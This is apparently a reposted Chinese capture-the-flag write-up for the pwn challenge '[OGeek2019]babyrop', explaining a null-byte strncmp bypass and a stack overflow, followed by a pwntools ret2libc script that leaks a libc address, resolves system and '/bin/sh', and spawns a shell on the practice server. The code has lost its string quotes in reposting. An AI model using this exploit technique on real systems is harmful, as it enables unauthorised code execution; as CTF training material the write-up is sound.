首页 > 其他 > 详细

[OGeek2019]babyrop

时间:2020-02-26 13:44:26      阅读:143      评论:0      收藏:0      [点我收藏+]

伪代码如下,先获取一个随机数

技术分享图片

 然后用strncmp比较用户输入的值和随机数,这里可以用  \x00 来绕过strncmp,因为strlen遇到  \x00 会停止

技术分享图片

 因为a1是函数sub_804871F的返回值,那就让a1为 \xff 这样就可以进行栈溢出了

技术分享图片

 然后通过栈溢出来getshell,题目有给libc,但是GitHub有点抽疯,于是这里就用了libcsearcher模块了

脚本如下

# -*- coding:utf-8 -*-
from pwn import *
from LibcSearcher import *

r=remote(node3.buuoj.cn,29889)
#r=process(‘./pwn‘)
elf=ELF(./pwn)
write_plt=elf.plt[write]
read_got=elf.got[read]
read_plt=elf.plt[read]
main_addr=0x8048825

payload1=\x00+\xff*0x7
r.sendline(payload1)
r.recvuntil(Correct\n)

#泄露read的got地址
payload=a*0xe7+b*0x4
payload+=p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(0x8)
r.sendline(payload)

read_addr=u32(r.recv(4))
print([+]read_addr: ,hex(read_addr))

libc=LibcSearcher(read,read_addr)
libc_base=read_addr-libc.dump(read)
system_addr=libc_base+libc.dump(system)
bin_sh_addr=libc_base+libc.dump(str_bin_sh)

r.sendline(payload1)
r.recvuntil(Correct\n)

payload=a*0xe7+b*0x4
payload+=p32(system_addr)*2+p32(bin_sh_addr)
r.sendline(payload)

r.interactive()

 

技术分享图片

 

[OGeek2019]babyrop

原文:https://www.cnblogs.com/gaonuoqi/p/12366595.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!